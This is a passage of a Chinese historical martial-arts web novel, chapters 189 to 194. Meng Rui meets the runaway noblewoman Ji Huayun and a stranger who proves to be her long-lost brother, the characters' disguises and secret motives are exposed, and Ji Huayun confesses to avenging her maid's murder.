所以,当我从熊大魁的衣着配饰的价值断定,他肯定出不起一千两银子买请帖,便能猜到他定是抢了他人的请帖。
而突然出现的侍卫,与我昨日见过的孟家堡侍卫衣着相似,因此,我立即就能下判断,他们是来抓抢人请帖之人的,便当机立断,将你们抢过来的请帖,又还给了熊大魁。
我们既然都想进孟家堡,最好不要和孟家堡的侍卫发生冲突,这就是我带你们躲开他们的原因,满意这些解释吗?”
孟蕊终于说完,好整以暇地看向纪华筠。
“还算说得通吧。”纪华筠乌溜溜的眼珠转了转,扭头问窗边的黑衣男子,“你觉得呢?”
黑衣男子合上窗,面无表情地走过来,坐到纪华筠身边,对着孟蕊问:
“你之前说,你有办法拿到更多的请帖,是什么意思?”
孟蕊但笑不语,只端起茶杯品了一口茶。
“我也想起来了,你确实说过这句话。”纪华筠确定道。
“叩叩”
门上传来敲门声,酒楼伙计的声音传来。
“公子,小的来给您上菜咯!”
“进来吧。”孟蕊应道。
房门打开,酒菜很快上齐。
“大家都饿了,先用膳吧,其他事,吃完再说。”
孟蕊招呼着所有人入座,一起用膳。
她率先端起碗筷,就要夹面前的菜。
“等等!先别吃。”
纪华筠一声急喝,伸手挡住孟蕊的筷子。
孟蕊不明所以,停下动作,看着纪华筠从袖中拿出了一只银针,在每道菜上都来回戳了几下。
她这是在……银针试毒?
第189章 被识破了?
“行走江湖,咱们得时刻保持警惕。”
纪华筠煞有介事地说。
她拿着手中银针,又去茶水中沾了沾,检查银针没有变色后,点了点头。
“都没问题,可以吃啦。”
黑衣男子嗤笑一声,“多的是银针验不出的毒,白做无用功。”
他端起碗,给自己盛了一大碗饭,大口开吃,狼吞虎咽。
“怎么没用,我们帮主之前就验出来过,救了好多人呢。”碧莲出言维护。
“等一下!饭还没验。”
纪华筠扒起黑衣男子快要埋到饭里的脸,用银针戳了戳饭粒,看到银针如常,才松开他的脸。
黑衣男子炸毛,怒瞪纪华筠。
“你烦不烦?有毒没毒,我一闻便知,不用你多事!”
“我这是为了你好,万一你鼻子没闻到呢?”
纪华筠像是习惯了黑衣男子的态度,一点不在意,还笑着拍了拍他的头,像安抚小猫小狗一样。
“吃吧吃吧,我不烦你了。”
黑衣男子哼了一声,没甚表示,又埋头干饭。
纪华筠无奈地摇摇头,端起茶杯,对孟蕊道:
“余哥就这个性子,余公子别和他计较,我以茶代酒,先敬余公子一杯,感谢余公子今日帮忙。”
“出门在外,相遇便是缘分,一点小事,墨姑娘不必客气。”
孟蕊也端起茶杯,碰杯后饮下茶水,招呼她用膳。
“咱们快吃菜吧,凉了就不好吃了。”
“行,我们就不客气了。”
纪华筠与碧莲端着碗,开始吃起来。
孟蕊让吟夏和吟秋也一道坐下吃饭。
一边吃饭,孟蕊一边不动声色地观察着纪华筠三人,更加确定了之前的推测。
纪华筠和碧莲是一道的,而且关系很好,罗杰裕大概是被她俩合谋杀死的。
叫余哥的黑衣男子,一副很有江湖经验的样子,与孟瑜从小在江湖历练这一点,也很符合。
只是纪华筠和余哥之间的关系嘛,孟蕊看出了些意味深长来。
纪华筠和余哥比孟蕊预计的能吃很多,孟蕊又叫酒楼伙计加了几个菜,多填了一桶米饭来,才算把他们喂饱。
“嗝……”
纪华筠向后摊靠在椅子上,满足地打了个饱嗝,呲着牙傻乐。
“真好吃,我好久没这么畅快地吃饱饭了。”
孟蕊看着纪华筠这般样子,不至于说毫无形象,起码也是不算文雅的姿势和行为,不禁问:
“吃不饱饭?你们之前经常饿肚子吗?”
她的目光在纪华筠三人朴素的黑衣上来回逡巡,都穿一样的粗布黑衣,难道不只是因为帮派名叫黑衣帮,还是因为没钱?
孟蕊不由得疑惑,她记得爹爹说过,纪华筠从永宁侯府跑路时,带走了不少银票金银,不到一个月,就全花光了?
“没有饿肚子。”纪华筠连忙否认,“是今日菜肴格外好吃,我不知不觉就吃得太饱。”
余哥瞥了她一眼,“打肿脸充胖子,把银子都给了别人,自己吃不饱饭,还不好意思说。”
“可是那些慈幼院里的孩子们,真的很可怜啊。”
纪华筠秀眉一竖,立即反驳。
“银子没了,我还能再挣,可是那些孩子小小年纪,吃不饱饭,有的还在生病,不能坐视不管。”
“这世上的可怜人多了,你给的银子是不少,但他们人多,又能用多久?几个月?半年?等银子用完,该饿死的,该病死的,还是会死。”余哥语气冷漠。
纪华筠丝毫不受影响,意气风发地握拳,“我可以赚钱啊,等他们银子用完,我再赚了银子给他们,他们就能继续活下去。”
“天真。”
余哥双手交叉,枕在脑后,半眯着眼,闲闲道:
“你要怎么赚银子?又去码头给人扛货吗?一天能赚几个钱,能养活几个人?”
纪华筠认真地算起来,“我力气大,搬的多,一天有两百文呢。”
孟蕊听着他们有来有回的对话,逐渐克制不住脸上惊愕的表情。
什么情况?纪大小姐去码头扛货赚钱?她爹永宁侯听了,也会惊呆吧?
纪华筠表情苦恼,“出来才知道,外面天大地大没错,可居然有那么多可怜人,我带的钱用完也不够,要是像孟小姐那样,会做生意赚钱就好了。”
“孟小姐?”余哥掀起眼帘看她,“你说的是谁?孟家堡的人?”
“不是孟家堡的,只是恰好同姓的女子。”
纪华筠叹了口气,含糊地说。
“她做生意赚银子很厉害,听说两三年就把本金翻了一倍,只可惜她是被抱错的女儿,赚的钱全都落了别人家口袋。”
孟蕊眼皮跳了跳,纪华筠口中赚银子很厉害的女子,怎么和她的经历如出一辙?
“墨姑娘,你说的这位厉害女子是谁?做生意当真如此厉害?”孟蕊故作好奇地问。
“呃……你应该不认识。”
纪华筠明显不想说,当即转移了话题。
“对了,余公子,你之前说有办法拿到孟家堡的请帖,是什么办法?”
孟蕊没有追问,就着纪华筠的问题回答:
“这个简单,请帖可以出钱购买,在下刚好带足了银子,去买来便是。”
纪华筠双眸溢出惊喜,“你要帮我们买请帖?那请帖可是要一千两银子一张的!”
“请帖虽贵,情义无价,在下愿意与几位交个朋友。”
孟蕊财大气粗地挥手,让纪华筠看到她手上夺目的宝石戒指,以展示她的财力。
“只是不知你们几位,是为何要去孟家堡?”
纪华筠喜不自胜,随口道:“孟家堡是武林名门,我就是想去凑个热闹,见见世面。”
说完,她眸中喜色淡去,谨慎地盯着孟蕊。
“你帮我们出钱买请帖,只为交朋友?不会还想让我们帮你做什么坏事吧?”
“墨姑娘过虑了,在下别无他求。”
孟蕊坦坦荡荡地说,目光移到余哥身上。
“余少侠,你想去孟家堡,又是为了什么呢?”
孟蕊见过娘亲画的二哥的小像,但没见过孟瑜本人,尽管这个余哥和二哥的画像相像,她也不能掉以轻心,需小心试探后,方能确认其身份。
余哥懒洋洋地抬起头,上扬的眉梢,带着几分疏离,深邃的双眼中,是明晃晃的猜疑。
“你既来问我,不如先说说你自己,为何要特意接近我们?为何要助我们去孟家堡?又为什么,要女扮男装?”
第190章 坦诚相待
“什么?!”
纪华筠和碧莲同时爆发惊呼。
“她是个女的?”
孟蕊在一瞬间的错愕后,很快反应过来,对她们做了个噤声的手势。
“你们再大点声,整个酒楼的人都听到了。”
孟蕊不慌不忙地对吟秋使了个眼色,吟秋立即起身,打开房门,去走廊上查看了一番,对孟蕊点了点头,示意没有人在。
“你在外面守着,别让人靠近。”
吟秋听命,关上房门,守在包房外。
吟夏起身,站在孟蕊身侧,将佩剑抱在怀中,无声地护卫。
“既然被识破,那我承认,我确实是女子。”
孟蕊坦然一笑,恢复了原本的女子声音。
“出门在外,江湖路险,我女扮男装做生意,会方便安全很多,不难理解吧?”
“这么说倒也合理。”纪华筠还处在发现孟蕊是女子的惊讶中,“可是,你是如何做到声音也能变得像男人的?”
孟蕊笑笑,没有回答,而是看向拆穿她的余哥。
“余少侠也懂乔装打扮,还是个行家老手?”
她谦逊询问。
“敢问余少侠,你如何看出在下女扮男装?这一路上,你是第一个识破我的。”
余哥淡淡瞥了她一眼,“你外表学得像,但内在的规矩礼数,制约了你的行为举止,仔细观察,不难看出端倪。”
“原是如此,画虎画皮难画骨,我以后,还得再努把力。”
孟蕊笑着对余哥拱了拱手。
“余少侠拆穿了我,那你呢?你的伪装准备何时卸下?”
“什么?”碧莲忍不住再次惊呼,“他难道也是女扮男装?”
“女扮男装个鬼呀!老子是货真价实的男人!”
余哥倏然坐直身子,疾声为自己正名。
他斜眼睨向孟蕊,“你胡说什么?我没有伪装要卸。”
“余少侠,其实你不是江湖中人,之前是在军中效力的,对吗?”
孟蕊一语中的,果然看到余哥的脸色变了,继续说道:
“你方才站在窗边的姿势,是我朝军中训练用的站姿,你肤色偏黑,但额顶却又一小块尖角肤色稍淡,那是长期佩戴军帽的痕迹,还有,你用饭速度很快,也是在军中养成的习惯,是也不是?”
前世,孟蕊陪厉青鸿练过兵,知道军中的一些习惯,只要在言语上添油加醋一番,足以用来试探。
此时的余哥,正用如鹰隼般锐利的眼神,紧盯孟蕊,却一言不发。
纪华筠的表情严肃了起来,“余哥,你曾在军中任职?为何从未听你说起过?”
“你没与我说实话,何必又要来窥探我的私事?”
余哥从孟蕊身上收回视线,目含嘲意,看向纪华筠,带着一种要曝光大家一起来的决然。
“你来自京城,是官家女,不是你自己所言从小拜入江湖门派的侠女,恐怕,你告诉我的名字,都是假的。”
他扫了眼纪华筠身边的碧莲。
“阿莲不是你师妹,是你的丫鬟,没错吧?”
纪华筠和碧莲面面相觑,心虚得没有接话。
余哥冷着脸,靠坐在椅子上,也不说话了。
孟蕊在心中直呼好家伙,他们这里三波人,没有一个说实话的,全是假话连篇。
房中一时寂静无声,谎言被戳破的尴尬弥漫,谁都没有再出声。
好一会儿过后,孟蕊率先打破僵局:
“其实,我身边的两名护卫,也是我的丫鬟,出门在外,难免有所隐瞒,大家相互之间,都理解一下。
既然我们相遇在这里,不如大家敞开心扉,坦诚相待,诚实说说自己的事?”
她的目光快速看了一遍房中众人,清了清嗓子。
“我先说吧,我来此地的真实目的,是为了寻找兄长,一个月前我接到消息,说我那位失散多年的兄长,很可能在孟家堡,所以我就循着线索来了。
因为我听说孟家堡内不太安全,我的两名丫鬟身手一般,所以我想再请两位高手,随我一同前去,今日恰好在街上看到二位身手了得,所以起了结交之心。”
孟蕊站起身,对纪华筠三人拱了拱手。
“之前隐瞒,请各位勿怪。”
孟蕊姿态放得低,倒让也隐瞒了身份的纪华筠,有些不好意思。
“没关系,大家都一样,我呢,确实出身京城官宦之家,曾经是个仆从簇拥伺候的大小姐,但我不喜欢那种生活,目前已经脱离了那个家庭,以后也不打算回去。”
纪华筠碰了碰余哥的胳膊,讨好地笑笑。
“余哥,我不是故意骗你的,我和你说的那些,都是我的期盼。
我想做遨游江湖的自由鸟儿,不想被困在京城后宅里,算计那些弯弯绕绕,好没意思。”
余哥扭头看她,“你一路坚持要来孟家堡,是为了什么?”
“当然是来见世面的呀!”
纪华筠脱口而出,对上余哥探究的双眸,她进而解释道。
“因为我认识一个武功好厉害的女高手,她说她的武功传自孟家堡,所以我就想来看看,这里到底有多厉害。”
孟蕊想起来了,纪华筠问过孟天武功师承,孟天当时提到过孟家堡,所以纪华筠就跑来了?
还真是闻风而动、身体力行的实干者。
“京城里武功传自孟家堡的女高手?”
余哥皱起眉,盯着纪华筠问。
“她叫什么名字?”
纪华筠如实答道:“孟天,你认识吗?”
余哥盯着纪华筠看了一会儿,始终没有说话。
纪华筠对着他,奇怪地歪了歪头,提醒道:
“我们都说完了,该你说来孟家堡的目的了,坦荡些,敞开心扉说吧。”
余哥移开视线,目光定在孟蕊脸上,语气骤然冷肃。
“我无法判断你们说的是不是真话,但相识一场,我提醒你们一句,现在的孟家堡,最好不要去。”
“为什么呀?”纪华筠问。
“因为,孟剑雨死了,孟家堡内不再安全。”
余哥表情仿佛凝固,整个人像是被一层无形的寒霜覆盖。
他声音凛冽,吐出让人毛骨悚然的话。
“血色雾气,将笼罩整个孟家堡,非孟家子孙,无人生还。”
第191章 分道扬镳?
“血色雾气笼罩……非孟家子孙,无人生还?”
孟蕊低声重复,背脊发凉。
“这话是什么意思?有人要杀人?”
纪华筠摸了摸胳膊,也觉得不舒服,“血色雾气是什么?有毒的吗?”
余哥并不为她们解惑,面无表情地看着孟蕊。
“你不知道?刚才你也说过孟家堡不安全,所以想找我们陪你一起去。”
孟蕊想起自己是说过这话,解释道:
“我觉得孟家堡不安全,是因为孟家堡里边地势凶险,大房和二房相争不断,恐会影响到我找兄长,所以想找武功高强之人同行,多重保障。”
“你对孟家堡了解的还不少。”余哥意味深长道。
“地势凶险,指的是孟家堡后面的影山吗?”
说到孟家堡,纪华筠兴奋起来,迫不及待加入话题。
“我听说,影山雾气缭绕,宛如仙境,百年前孟家堡初代堡主孟道原,就是途经影山时,悟出了武功绝学,才有了现在的孟家堡。
如果我能登上影山,说不定也能悟出我自己的武功绝学。”
纪华筠顿时充满雄心壮志,一下从椅子上跳起来,双手握拳冲天,振臂高呼。
“那时,我们黑衣帮,就要称霸江湖啦!”
她身边的碧莲,立刻学着纪华筠的动作起立,朝天冲拳,喊道:
“黑衣帮称霸江湖!”
孟蕊看得一愣,纪华筠原本的性情,是这么活泼跳脱的吗?孟蕊简直要怀疑纪华筠是不是被夺舍了。
余哥则是一脸淡定,早已习以为常的样子。
“你当江湖是你家开的,随便一悟,就能出一套绝学?”
他扯了扯嘴角,勾起几分嘲讽。
“称霸江湖?你知道真实的江湖是什么样,就敢说这可笑的话?”
纪华筠不服气道:“只是说说不行啊?梦想总是要有的嘛。”
“江湖,不是你追梦的地方,江湖,是刀光剑影的杀戮,是人情世故的交织,是尔虞我诈的算计……弄不好,就把小命弄丢。”
男子一双浓眉挑起,眉梢仿佛扬起一抹锋利的弧度,清洌低沉的嗓音,对着纪华筠,说着刺痛人的话语。
“你这种在富贵窝里娇养长大的大小姐,还是赶紧滚回京城去,别到时候,死都不知道自己怎么死的。”
纪华筠呆住了,一腔热情瞬间被他几句话浇灭,讷讷收回手,眼神受伤。
“你怎么这样说话呢?很伤人的知道不?”
孟蕊也颇为意外,余哥居然会说出这一番话来,听起来,像是要赶纪华筠回京,与其分道扬镳?
“实话都是伤人的。”
余哥坦荡与纪华筠对视,眸色沉沉,分外郑重。
“你若只为凑热闹,见世面,孟家堡大可不去,孟剑雨死了,剩下的那一堆,都是武功连我都不如的废物,你学不到什么。”
“你说学不到就学不到啊?你很了解孟家堡吗?”纪华筠不甘心地说。
她知道余哥说的有一定道理,但她好不容易才到了渝州,只差临门一脚进孟家堡,不想就这样放弃。
“如今孟家堡传人中,武功最高的,就数你见过的孟天。”
余哥收回视线,淡淡望着前方虚空。
“孟天随性自在,外表强硬,实则心软,你若想精进武功,不如去求她教你几招,好过去孟家堡拿命碰壁。”
孟蕊心中一紧,此人对她娘亲的评价,一听就知是很了解她娘亲的熟人,她更觉得余哥就是她二哥孟瑜了。
纪华筠也听出了猫腻,“余哥,你也认识孟天?你和她什么关系?”
“有没有关系,都与你无关。”余哥冷漠地说。
纪华筠秀眉蹙起,“什么叫与我无关?我是帮主,你要拆伙不成?啊!你干什么?”
在纪华筠说话的功夫,余哥趁她不备,快速出手,点了纪华筠的穴道,让她整个人定在原地,不能再动。
反手间,余哥又故技重施,将纪华筠身边的碧莲也点了定身穴。
这突然的变故,让孟蕊惊得站起来。
“余少侠,你这是做什么?为何要定住墨姑娘?”
纪华筠一脸不可置信,“你点我穴道作甚?快给我解开!”
碧莲也气恼地嚷嚷,“余哥,你干什么呀?不得对帮主不敬!”
“你们太吵了。”
余哥皱了皱眉,不但没有为她们解开穴道,还又出手,把纪华筠和碧莲的哑穴都点上。
房中安静了,孟蕊更惊了。
这嫌吵就点人哑穴的样子,和孟天点贺维钦哑穴时的场景,也很像。
余哥转过头,视线转移到孟蕊身上,嗓音沉稳冷冽。
“我同意你刚才的提议,你帮我买去孟家堡的请帖,我护你在孟家堡周全,现在便可出发。”
他上下打量孟蕊和她身后的吟夏,目光落在她们腰间的钱袋上。
“请帖一张一千两,你带的银子够吗?”
“哦,银子啊,好说好说。”
孟蕊松了一口气,不是要点她的哑穴就好。
在余哥的紧盯下,能瑞不得不解开钱袋,数了数里面的银票,有些不好意思地说:
“余哥,你放心,银子肯定是够的,但一人一千两,咱们这里一共六个人,就要六千两,你给我一点时间,明日一定可以筹够银子买请帖。”
“用不了六千两,她们俩不去。”
余哥指了指被点了穴、不能说也不能动的纪华筠和碧莲,算起人数。
“你带一个丫鬟就够了,加上我,一共三个人,三千两,有吗?”
“三千两啊?稍等片刻,我数一数。”
孟蕊从钱袋中掏出银票,慢吞吞地数起来。
看余哥这个着急的架势,恨不得现在就去买了请帖进孟家堡。
但是孟蕊不想贸然进入孟家堡,她想等明日爹爹到来后,再商量对策,所以现在,她得想办法拖住很有可能是孟瑜的余哥。
“好像不太够啊,我这里只有一千多两。”
孟蕊为难地看向余哥,提出建议。
“劳烦你等等,我今晚一定能筹到足够多的银子,咱们明日便能去孟家堡。”
余哥没有回应孟蕊,他的目光,正死死盯着孟蕊钱袋边缘露头的一方白玉印章,眉头皱得更紧。
“这是什么?”
余哥一个闪身,猝不及防地出现在孟蕊身侧,将孟蕊手中的钱袋扯了过去。
第192章 二哥孟瑜
孟蕊只觉手中一空,反应过来时,看到余哥已经从她的钱袋中,拿出了那枚精巧白玉印章,正在端详。
那是娘亲送给她的白玉印章,可以在钱庄取钱的印信!
“你是从哪里得来此物?”
余哥一脸冷肃,目光沉如寒铁。
“回答我!”
孟蕊看着他,脑中快速运转,是印章被认出来了吗?她要说明自己的真实身份吗?
如果眼前这人是二哥孟瑜还好,若不是二哥,甚至是姜瑶派来的故意引她上钩的人,她岂不是要落入陷阱。
“这是我娘亲给我的,有什么问题?”孟蕊含糊回答。
余哥凝视着孟蕊,目光似有千斤重。
“这是孟天给孟瑶的东西,你的意思是,孟天又给了你?”
听到此话,孟蕊心中微松。
如果是姜瑶的人,为了不暴露自己的身份,一般不会主动提到姜瑶。
那么眼前这人,十有八九,就是她的二哥孟瑜。
“是啊,就是孟天亲手送给我的。”
孟蕊定定看着面前的男子,单刀直入地问:
“你不止认识孟天,还认识孟瑶,你是她们什么人?”
“是我在问你。”余哥皱紧了眉头,“孟天和你什么关系?她为什么把此物给你?孟瑶呢?”
孟蕊不想再相互试探了,直截了当地说:
“你说的孟瑶,已经改名姜瑶,现在是安乐侯府的千金,她想害我为奴,所以娘亲与她断绝了关系,拿回了这枚印章,并且送给了我……”
孟蕊眼睫轻颤,眸中流转着难以言说的温柔期盼。
“我是孟天的亲生女儿孟蕊,我来此地,寻找我的兄长孟瑜,你……见过他吗?”
“你是孟蕊……”
余哥怔怔望着孟蕊,俊朗的眉目舒展,露出几分不可思议。
“你来这里找我?”
听到对方承认身份,孟蕊欣喜万分,“你是孟瑜,是我二哥,对不对?”
“我是孟瑜没错,但你……没必要来找我。”
化名余哥的孟瑜,终于承认了自己的身份。
而孟蕊预想的兄妹相认、激动拥抱的场景,并没有出现。
孟瑜神色淡淡,将手中的白玉印章放回了钱袋,交还到孟蕊手上。
“这是阿娘给你的东西,你好好收着。”
孟蕊拿着钱袋,迫不及待地问孟瑜:
“二哥,你也收到了孟家堡的信,所以才过来的吧?
信中应该就有请帖,你为何不直接去孟家堡,反而要去买请帖呢?
孟家堡里面有什么危险?你说的血色雾气,到底是什么……唔!”
沉浸在找到亲人的兴奋中的孟蕊,猝不及防地被孟瑜点了穴道,不能动,也不能说话了。
“你干什么?”
吟夏刚要拔剑,就被孟瑜按下,同样点了穴道,只能闭嘴站在孟蕊身后。
孟蕊此刻心中极度震惊,难道她的推测错了?
这个人不是二哥,是冒充二哥身份的敌人?
他要对她们做什么?她要怎么办?
就在孟蕊紧张地盯着孟瑜,害怕对方伤害自己时,孟瑜将饭桌上的银票拿了起来。
孟蕊看着孟瑜细细数着银票,他数好一千两面额的银票,揣进了怀里,并将多出的银票放回桌上。
剩余的银票刚放好,孟瑜手上一顿,不知想到什么,又从桌上的银票中抽出了一百两,叠好后塞进袖中,就要转身离开。
“唔唔唔!”
眼看孟瑜要走,孟蕊着急地哼哼。
孟瑜回头看她,语气疏离地解释:
“这一千一百两银子,算我找你借的,日后会还给你。”
见孟蕊气呼呼地瞪着自己,还在不停地哼哼,孟瑜抿了抿唇,神情严峻。
“孟家堡的危险,不在地势,而在人心,不想死的话,就绝了去孟家堡的心思。”
听见一旁的纪华筠,也在怒气冲冲地哼哼,孟瑜走到纪华筠面前,同样严厉地训道:
“特别是你,什么江湖规矩都不懂,却胆大如斗,要想保住你的小命,趁早回家!”
说完,孟瑜没有走向房门,而是打开了窗户,利落地飞身跳下。
孟蕊望着孟瑜高大精壮的黑色背影,在窗台消失不见,心中一时五味杂陈。
从此人的行为来看,他不是敌人,应该是她二哥孟瑜没错。
然后,孟蕊意识到,孟瑜把她们所有人点了穴、困在这里,拿了孟蕊的一千一百两银子,跳窗跑了?
不用想也知道,孟瑜肯定是带着银子去买请帖,他要用请帖进孟家堡。
他都说孟家堡很危险了,为什么还要去呢?
他可以去,却不让孟蕊和纪华筠去,这是什么道理?
孟蕊不由想到娘亲,留信一封,独自潜入孟家堡,这母子二人的做派,真是如出一辙。
孟蕊从窗户收回目光,刚好和看向她的纪华筠视线撞在一起。
“唔唔!”纪华筠还在努力发声。
孟蕊直直看着她,也不知她要表达什么。
她们被点了哑穴,能从鼻子发出的一点声音太小,外面守门的吟秋根本听不到。
现在这种情况,只有等门外的吟秋发现不对,进来为她们解开穴道了。
好在一刻钟后,许久没有听到房内声音的吟秋,敲门询问,也无人应答,发现了情况不对后急忙开门,为所有人解开了穴道。
“孟蕊!你居然是孟蕊!”
纪华筠一能开口说话,就惊讶地指着孟蕊问。
“余哥居然是你兄长?这到底是怎么回事?”
孟蕊没空理会她,正忙着吩咐吟夏去追踪孟瑜的行踪。
“他买到请帖后,应该会立即进入孟家堡,吟夏,你试试看能否拦住他,估计你打不过他,不要强求,注意安全,我们客栈汇合。”
吟夏领命而去,吟秋则先去楼下付账。
孟蕊将桌上的银票收入钱袋放好,才看向一脸惊诧的纪华筠。
“纪小姐,我知道你有很多疑问,但这里已经不是说话的地方,你和碧莲跟我们回客栈,你想知道什么,我都告诉你。”
孟瑜是跳窗跑的,不知道会不会引起街上有心人的注意,保险起见,先离开这里为妙。
纪华筠知道了孟蕊的真实身份,并不抗拒跟孟蕊走,她实在有太多疑问,想要知道答案了。
第193章 行侠仗义
回客栈之前,孟蕊带着纪华筠和碧莲,先去了之前的绸缎庄。
绸缎庄内没有别的客人,孟蕊与孙掌柜打过招呼,指着铺子里五颜六色的成衣,请纪华筠和碧莲挑选自己喜欢的换上。
纪华筠不太乐意,“我身上这件用料虽粗糙,但是我自己赚钱买来的,你看不上,可我已经穿习惯了,不想换。”
碧莲也追随纪华筠道:“帮主不换,我也不换。”
孟蕊额角跳了跳,有点头疼地解释:
“二位,在下没有看不上你们的劳动所得,相反,我真心敬佩你们的勇敢自强。”
她话音一转,严肃道:
“现在的问题是,你们自称黑衣帮,在城里闹出了动静,已经被孟家堡的人知道,你们身上的黑衣太显眼,谨慎起见,必须换身其他颜色的衣裳。”
纪华筠被说服,在孟蕊的建议下换了衣裳。
她选了一套青灰色的男装,在吟秋的巧手装扮下,不多时,便成了一名俊俏书生。
碧莲则扮成了灰衣书童的模样,跟在纪华筠身侧,很是搭配。
离开绸缎庄之前,孙掌柜私下告诉孟蕊,去孟家堡的请帖,是孟家大房的孟子俊在卖,孟家二爷孟简知道后极力反对,估计只卖今天。
孙掌柜已经派人买了两张请帖,以备不时之需,问孟蕊是否需要多买几张备着?
孟蕊摇了摇头,“不必再买,你派人多打探着孟家堡的消息即可。”
他们一家人中,孟蕊是对孟家堡最不了解的那个,武功也是最差的,不能冲动行事,贸然进入孟家堡,只会给娘亲和二哥添麻烦。
所以,她目前不需要请帖,不但她不去,还要拦着纪华筠主仆去。
等她爹谢清源明日到来,一切听爹爹的安排。
若真要去孟家堡,以她爹谢清源张扬不羁的行事风格,不需要什么请帖,直接去便是。
孟蕊听爹爹说过,他之前每一年,都会带着礼物,以女婿的身份,到孟家堡拜访,和孟家堡的人关系处的还行。
孟蕊现在要做的,就是多打探消息,除了孟家堡的消息,她更想知道二哥孟瑜的事,还有意料之外出现的纪华筠,为何会出现在这里?
离开绸缎庄,孟蕊带着纪华筠和吟秋、碧莲回到了客栈。
孟蕊让吟秋和碧莲去隔壁房间休息,自己与纪华筠单独谈话。
将房门上锁后,孟蕊带着纪华筠走到里间坐下。
“纪小姐,没想到会在这里遇到你。”
孟蕊看着面前这个书生打扮的永宁侯大小姐纪华筠,直言道。
“永宁侯为了找你们,封了城门,差点把京城找翻个儿,你知道吗?”
纪华筠撇撇嘴,“不知道,天还没亮,我就找到机会救出碧莲,城门刚开,我们就走了,等到他来找,我们已经跑出几十里地了,他追也追不上。”
“你是为了救碧莲,所以要逃离京城?”孟蕊不理解,“你大可放碧莲一个人离京,你为何也要跑?”
“我为什么不能跑?”纪华筠反问,“这外边多好玩啊,你不也跑出来了?”
“我不是出逃,也不是来玩的。”
孟蕊板起脸来纠正。
她要劝退纪华筠去孟家堡的心思,最好是能让纪华筠主动回京,别再掺和孟家堡的事。
“罗杰裕的案子,京兆府已经定案,确定他是突发疾病猝死,无人有罪,纪小姐,你可以带着碧莲回家去了。”
见纪华筠不为所动,一言不发,孟蕊劝道:
“你爹娘都很在乎你,你突然离开,纪夫人担忧得晕倒,纪大人到处找关系找你,他们为了你的名声,对外只说你离京去探望姨母,你只要回去认个错,我想,他们会原谅你的。”
纪华筠脸上的表情,终于有了变化。
她嘴角下压,透着不快,眼神鄙视地瞧着孟蕊。
“孟小姐,之前听说你凭一己之力,对抗安乐侯府的事,我还挺佩服你的,可是今日你这话,让我觉得看错你了。”
纪华筠明艳的脸上,浮起薄怒。
“我又没有错,凭什么要我道歉?罗杰裕欺辱女子,杀人灭迹,死不足惜。
我是为民除害,行侠仗义,何错之有?”
孟蕊对上纪华筠明亮的双眸,她这是承认杀了罗杰裕?
既然话说到这里,孟蕊索性问出了心中疑问。
“罗杰裕的死,是你和碧莲一起策划,他不是马上风,是你们给他用了药,对吗?”
“是啊,他不是喜欢床笫之事吗?我就让他死在床上。”
纪华筠泰然自若,理所当然地说。
“不过,他最好的死法,是在御花园的湖里,可惜啊,你娘来得太快,我们没能成功。”
孟蕊有些发怔,纪华筠居然就这样轻易地承认杀人,而且和孟天推测的一模一样。
“你们是为了给碧芙报仇?她失足落水而死,所以你们也要让罗杰裕死在水里?”
孟蕊记得,碧芙是纪华筠院中的婢女,被罗杰裕诱骗有了身子,两个月前,在出府买东西时,失足落水而死。
“碧芙不是失足落水,她是被罗杰裕推下水杀死的。”
纪华筠清越的声音中夹杂着恨意。
“因为碧芙不愿意帮罗杰裕接近我,对我下迷药,罗杰裕恼羞成怒,杀了她。”
孟蕊吃了一惊,“这么严重的事,你该告诉纪大人和纪夫人。”
“你以为我没说吗?”
纪华筠眼眶发红,咬牙切齿地说。
“查到碧芙死因可疑,我就告诉他们了,但是他们不信啊,还说是碧芙恬不知耻,没嫁人就跟了男人,死了干净。
碧芙只是一个丫鬟,入不了他们的眼,那我就想看看,如果我为了一个丫鬟,把全家都拖下水,他们还能不能那么清高?”
孟蕊终于明白,纪华筠为何会策划在曹太后寿宴那天,在宫中御花园溺死罗杰裕了。
纪华筠不只恨杀人凶手罗杰裕,她还同样痛恨不为碧芙主持公道的永宁侯夫妇。
孟蕊同情地说:“我理解你失去亲近之人的悲痛心情,可是为了她,你要在曹太后寿宴上动手,你可知道那样会……”
“我知道!”
纪华筠斩钉截铁道。
“我就是要惹曹太后生气,断了永宁侯府和曹家的往来!”
第194章 不愿当棋子
“永宁侯府和曹家?”
孟蕊略一思索,便反应过来。
“永宁侯府有意支持二皇子?”
纪华筠嘴角勾出讥诮的弧度,“很奇怪吗?现在朝中,还有几家是不站队的?他们要站谁都无所谓,反正我不会去当他们的贡品。”
“永宁侯想将你许配给二皇子?”
孟蕊一听便明白了,政治联姻,是巩固关系的常用手段,牺牲的不过是一个女儿,得到的利益,可以是无穷尽的。
纪华筠是永宁侯纪恺唯一的嫡女,是最适合联姻的人选。
但纪华筠不愿意当政治联姻的棋子,她胆子会武,宁愿浪荡江湖,风餐露宿,也不愿回永宁侯府。
“孟小姐,你或许不知道,二皇子,他虽未大婚,没有正妃,但私底下的女人,就没有断过,在宫外还专门置了宅子,养着他的小后宫。”
说起二皇子,纪华筠的脸上是毫不掩饰的嫌恶。
“就这种恶心玩意儿,我爹娘居然想让我嫁给他,还要去争正妃的位置,光是想一想,我都要吐了。”
对二皇子萧安的荒唐事,孟蕊也略知一些,纪华筠的话,没有夸大其词。
此刻,孟蕊也不知该说什么。
纪华筠说到兴头上,还在继续吐槽。
“就因为我小时候,把萧安的手扭了一下,淑妃竟然到现在还常说我伤了他儿子,要给她儿子赔罪负责,听到就够了。
我只恨当年不懂事,只扭了萧安的手,要是当时就扭了他的脖子,哪有现在的烦心事?”
孟蕊被她的话一震,小声提醒:“杀害皇子,是重罪。”
“是吗?”纪华筠不以为然,“我都想好了,我爹娘要是抓到我,逼着我嫁给萧安,我就选个时机,当着我爹娘的面宰了萧安,让他们知道逼我的下场!”
孟蕊又是一惊,上次听到这么凶残的话,还是从她娘口中。
“纪小姐,这其中会不会有什么误会?”
孟蕊回忆着她得到的消息,和纪华筠说的,好像有些不一样。
“我听我爹说,自从你小时候,扭伤了二皇子的手腕,他就特别害怕你,不愿意与你联姻,曹家似乎也放弃了这门婚事。”
“他们放弃我了?”纪华筠疑惑地问,“我没听说啊,那我娘为什么每日还逼着我装淑女?不许我摸我的剑?”
孟蕊无法回答,“这些问题,你该回去问纪夫人。”
“除非他们有本事抓到我,否则我是绝对不会回去的。”纪华筠信誓旦旦地说。
听她这样说,孟蕊不再劝她回京。
对纪华筠为婢女碧芙报仇的心情,孟蕊非常能感同身受。
